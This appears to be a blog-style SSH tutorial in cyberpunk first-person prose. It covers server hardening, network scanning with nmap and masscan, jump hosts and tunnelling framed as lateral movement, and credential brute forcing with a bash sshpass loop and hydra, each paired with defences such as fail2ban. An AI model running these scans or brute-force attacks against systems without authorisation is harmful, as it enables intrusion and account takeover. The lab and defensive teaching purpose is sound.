Neon light slices through the rain-slick streets outside, illuminating skyscrapers etched with rows of blinking servers. Inside the flicker of monitors and the hiss of cooling fans feels like circuitry over flesh, every cable a vein, every switch a nerve. I’m deep inside the machine now, the data pulses like adrenaline through the network, and SSH is the spine of the operation, it’s the confidant, the gatekeeper, the battle‐scarred conduit I both revere and fear.

There is the smell of solder, cold steel racks humming, and the static charge whenever I breach a firewall or routable subnet. I can taste packets, the clatter of authentication protocols, the gleam of public‐private keys. I move like an echo, shifting from host to host, through tunnels, hopping like lightning. And when brute force storms the door, patience and precise brutality are the only tools. Welcome to the edge of control, the shadows where SSH binds the nodes and I bend them to my will.

Administering SSH

Step-by-Step: Hardening and Configuration

1. Install & Update OpenSSH
   On *nix systems:

bash
   sudo apt update && sudo apt install openssh-server
   sudo systemctl enable ssh && sudo systemctl start ssh

2. Change default port (not security by obscurity but reduces noise)
   In /etc/ssh/sshd_config, modify:

   Port 2222

Then restart SSH:

bash
   sudo systemctl restart ssh

3. Disable root login

   PermitRootLogin no

4. Use key-based authentication only

text
   PasswordAuthentication no
   PubkeyAuthentication yes

Deploy authorised keys via ~/.ssh/authorized_keys, set permissions: chmod 700 ~/.ssh, chmod 600 authorized_keys.

5. Restrict user logins and configure forced commands
   Use AllowUsers alice bob or AllowGroups sshusers. Use ForceCommand in authorized_keys for constrained shell or use jail.

6. Configure idle time-outs, rate limits, and logging
   - ClientAliveInterval 300
   - ClientAliveCountMax 0
   - Use MaxAuthTries 3
   - Log to auth.log or journalctl, perhaps forward logs to central syslog.

7. Use strong cryptographic algorithms only
   In sshd_config:

   Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
   KexAlgorithms curve25519-sha256
   MACs hmac-sha2-512-etm@openssh.com

8. Enable two-factor authentication (2FA)
   Install libpam-google-authenticator or similar, configure PAM.

Admin Checklist

• Change port away from 22
• Disable root login
• Enforce key-based auth only
• Permit only required users or groups
• Set idle session timeout
• Limit failed attempts (MaxAuthTries)
• Strong ciphers/kex/MACs
• Enable 2‐factor if needed
• Regularly rotate keys
• Audit logs

Mini-lab

• Set up two virtual machines: one as SSH server, another as client.
• Configure the server with a custom port, disable password auth, and restrict to one user.
• Configure key pairs (RSA or better yet ed25519), try login.
• Attempt password login (should fail).
• Test inactivity time-out kicks you out after stipulated period.

Scanning SSH

I’m crawling through the dark, probing doors. Scanning reveals patterns, a drumbeat of open ports, banners whispering software versions. Know where the weak points are before the attackers do.

How-to: Scanning for SSH Hosts & Versions

1. Discover live hosts

bash
   nmap -sP 192.168.1.0/24

2. Scan for SSH port (usually 22 or custom)

bash
   nmap -p 22,2222 -sV -O 192.168.1.0/24

-sV grabs version info; -O tries OS detection.

3. Banner grabbing

bash
   nc -vv target_hostname_or_ip 22

or use ssh -v user@host to see the server version string.

4. Mass scanning
   Use Masscan:

bash
   sudo masscan 10.0.0.0/8 -p22 -oX ssh_hosts.xml

Then feed results into nmap for deeper inspection.

5. Check for weak or deprecated protocols
   Run ssh-audit tool or use nmap --script ssh2-enum-algos to enumerate weak ciphers, key exchange, MACs.

Edge Case Notes

• Some servers may disable version banners or send truncated banners.
• Hosts behind load-balancers may reveal differing versions.
• Custom ports, port knocking or firewall rules may hide services.
• Honeypots will try to mimic SSH responses; look for oddities (banner discrepancies, clock skew, unusual cipher sets).

Scanning Workflow

Mini-lab

• Use three VMs: one running OpenSSH 8.9, another running older 7.x with weak ciphers, a third behind a basic firewall.
• Use nmap and ssh-audit to enumerate versions and cipher suites.
• Try scanning across subnets including non-standard ports, identify hosts with SSH.
• Record banners and spot anomalies.

SSH Hopping & Tunnelling (Lateral Movement)

I slip through the corridors of trust, from one compromised node to the next. SSH is worming through the network, a stegosaurus in the system, using tunnels and agent forwarding.

How-to: SSH Hopping, Agent Forwarding, and Tunnels

1. Agent forwarding
   On client:

bash
   ssh -A user@jumpbox

From jumpbox:

bash
   ssh target_internal_host

The private key stays on local machine. Note: dangerous if jumpbox is compromised.

2. Jump hosts (ProxyJump)
   In ~/.ssh/config on client:

   Host internal-*
     ProxyJump jumpuser@jump.host.com

Use ssh internal-host and traffic is proxied through jump.host.com.

3. SSH Tunnelling / Port Forwarding
   - Local port forward:

bash
     ssh -L 8080:internal.server:80 user@jumpbox

• Remote port forward:

bash
     ssh -R 9090:localhost:3000 user@public.server

4. Dynamic port forwarding (SOCKS proxy)

bash
   ssh -D 1080 user@jumpbox

Configure browser or tool to use localhost:1080 as SOCKS proxy to reach internal hosts.

5. Chaining hops manually
   SSH from A → B → C. Use control sockets or ProxyCommand to avoid multiple password prompts and avoid leaving credentials on hosts.

6. Port knocking / Single-Packet Authorization (SPA)
   Protect SSH port behind knocking sequences. Use tools like fwknop for SPA.

Security Concerns & Edge Cases

• Agent forwarding risk if intermediate host is malicious or compromised.
• ProxyJump misconfigurations may expose private key usage or allow privilege escalation.
• Port forwarding may bypass firewall policy unwittingly.
• Knocked ports might leave logs or be susceptible to replay or brute force of knock sequence.

Mini-lab Workflow

• Setup three machines: public jumpbox, internal host accessible only from jumpbox, local machine.
• Configure ProxyJump in .ssh/config. Use agent forwarding to hop without copying private keys.
• Set up local port forwarding to access a web service on the internal host via the jumpbox.
• Try remote port forwarding. Observe firewall or RBAC restrictions.

Takeaways

• ProxyJump and agent forwarding are powerful but risky.
• Tunnels can bypass network segmentation; always monitor.
• Understand how credentials flow.
• Audit usage of jump hosts, restrict to trusted users.

Brute Forcing SSH

The clash in the neon zones: endless password guesses, rate limits, lockouts. The attacker storms the wall. You must know both sides, the brute force and the defence.

How-to: Simulated Brute Force and Defence

Warning: The following snippet is offensive behaviour if used without permission. Must only be executed within authorised, isolated test networks or capture-the-flag labs.

bash
#!/bin/bash
# ssh brute force prototype (authorised use only)
TARGET=192.168.1.50
USER=admin
WORDLIST=/path/to/wordlist.txt

for PASS in $(cat $WORDLIST); do
  sshpass -p "$PASS" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no $USER@$TARGET 'echo success' && {
    echo "Password found: $PASS"
    break
  }
done

1. Prepare wordlists , rockyou, custom rules (e.g pop culture, regexps).
2. Use specialised tools , hydra, medusa, patator. These leverage parallelism.

bash
   hydra -l admin -P /path/to/wordlist.txt 192.168.1.50 ssh

3. Respect rate limits and lockouts , many SSH servers configured with MaxAuthTries, LoginGraceTime, PermitRootLogin no.

4. Monitor logs , /var/log/auth.log, journalctl for Debian-based; identify repeated failed attempts. Use logwatch or fail2ban.

5. Defensive scripts , configure fail2ban or sshguard to watch patterns; temporarily block via firewall.

6. Use captchas or multi-factor to add extra barrier.

Defending Workflow

Mini-lab

• Stand up an SSH server with weak password authentication enabled.
• Use hydra to brute-force a user with a small wordlist.
• Configure fail2ban to ban offending IPs after three failures.
• Switch server to key-only auth and try brute force again. Observe failures (no password vector).
• Set up two-factor auth and test.

Mastering SSH: Administering, Scanning, Hopping and Brute-Forcing

Aim

To guide you through advanced SSH operations with hands-on examples: covering secure administration, scanning targets, hop-based connections, and controlled brute-forcing in a legal context.

Learning outcomes

By the end you will be able to:

• configure SSH securely for administration, including disabling root login and enforcing key-based access
• scan networks and discover SSH services, identifying versions and exposed hosts
• establish SSH jumps or bastions for multi-hop access using ProxyJump / ProxyCommand
• perform legitimate brute-force or dictionary testing on SSH (in lab or approved scope) and defend against such attacks

Prerequisites

• A Linux environment (local machine and one or more remote servers) with OpenSSH installed
• Familiarity with shell commands and editing files (nano, vi etc.)
• Basic networking knowledge (IP addresses, ports)
• Tools such as nmap, hydra (or medusa), fail2ban installed

Step-by-step guide

1. Secure SSH administration

1. Open /etc/ssh/sshd_config. Set:

bash
   PermitRootLogin no
   PasswordAuthentication no
   AllowUsers adminuser1 adminuser2

These restrict root login, force key-based auth and limit allowed users. (sshhandbook.com)

2. Limit authentication attempts:

text
   MaxAuthTries 3
   LoginGraceTime 30

3. Enforce idle timeout, disable environment modifications: in sshd_config:

text
   ClientAliveInterval 300
   ClientAliveCountMax 0
   PermitUserEnvironment no

4. Change default SSH port (optional, obscurity): modify Port 22 to e.g. Port 2222, then restart SSH so firewall can accept. (docs.edisglobal.com)

5. Install fail2ban, configure SSH jail:

bash
   sudo apt install fail2ban

In /etc/fail2ban/jail.local:

text
   [sshd]
   enabled = true
   port = 2222
   filter = sshd
   logpath = /var/log/auth.log
   maxretry = 5
   bantime = 600

Blocks IPs after repeated failures. (sshhandbook.com)

2. Scanning to discover SSH services

1. Use nmap to scan hosts / networks for open SSH ports:

bash
   nmap -sV -p 22,2222 192.168.1.0/24

-sV detects version; specify custom ports. (en.wikipedia.org)

2. Use faster scanners like ZMap for large IPv4 ranges: single-port scans identify SSH services quickly. (en.wikipedia.org)

3. Capture SSH banner:

bash
   nc -v target-host 22

Looks like: SSH-2.0-OpenSSH_8.4p1 Debian-5 etc. Helps identify version and possible vulnerabilities.

4. Document and archive version info; compare against known advisories to plan patches.

3. SSH Hopping / Jump Hosts

1. Using ProxyJump on CLI for a two-hop connection:

bash
   ssh -J user@jumphost.internal user@target.internal

2. In ~/.ssh/config, define entries:

text
   Host jumphost
     HostName jumphost.example.com
     User jumpuser

   Host target
     HostName target.internal
     User adminuser
     ProxyJump jumphost
     IdentityFile ~/.ssh/id_ed25519

3. For multi-hop: chain ProxyJump:

text
   Host bastion1
     HostName bastion1.example.net
     User user1

   Host bastion2
     HostName bastion2.internal
     User user2
     ProxyJump bastion1

   Host target
     HostName target.internal.net
     User admin
     ProxyJump bastion2

Then use ssh target to hop through. (docs.oracle.com)

4. Alternative via ProxyCommand if older SSH or custom setup:

bash
   ssh -o "ProxyCommand ssh jumpuser@jumphost.internal nc %h %p"
       adminuser@target.internal

Use when you require fine-grained control. (golinuxcloud.com)

4. Controlled brute-forcing for testing / awareness

Use only in lab or explicitly authorised environments.

1. Use hydra to test SSH credential strength:

bash
   hydra -l adminuser -P passwords.txt -t 4 target.internal ssh -V

-l single user, -P wordlist, -t parallel tasks, -V verbose output. (en.wikipedia.org)

2. Use strong wordlists (e.g. SecLists) for passwords; enumerate usernames if possible to avoid wasted guesses.

3. Monitor impact: logs in /var/log/auth.log will show failed attempts. Use legal and ethical constraints.

4. Defending against brute force: combine SSH admin settings (key-based login, low MaxAuthTries), fail2ban with proper thresholds, firewall restrictions by IP, optionally geofencing. (usavps.com)

Actionable insights

• Always rotate SSH keys periodically and retire keys you no longer use.
• Enforce least privilege: only give sudo where needed, avoid daily login as root.
• Use centralised auditing of SSH access and jump host activity.
• Regularly scan your network for exposed SSH services running out-of-date versions.
• Simulate brute-force attacks in a safe environment to test your defence settings, adjusting fail2ban thresholds and firewall rules.

Putting these steps into practice will significantly improve your command of SSH from administrative, scanning, hopping and brute-force perspectives.

Remember you’re not just coding scripts, scanning hosts or brute forcing credentials. You are mapping trust, observing weakness, sensing the architecture of control. Through administering SSH you sculpt your border, through scanning SSH you read the topography, through hopping you betray trust lines, through brute forcing you probe bones. The machine hums, flickering LEDs reflect in my eyes. I taste the acrid sting of risk and control, I hear cipher suites renegotiate in the dark, I smell smoke when keys are misused and defences collapse. In this neon storm SSH is both weapon and lock, and I am both prisoner and destroyer.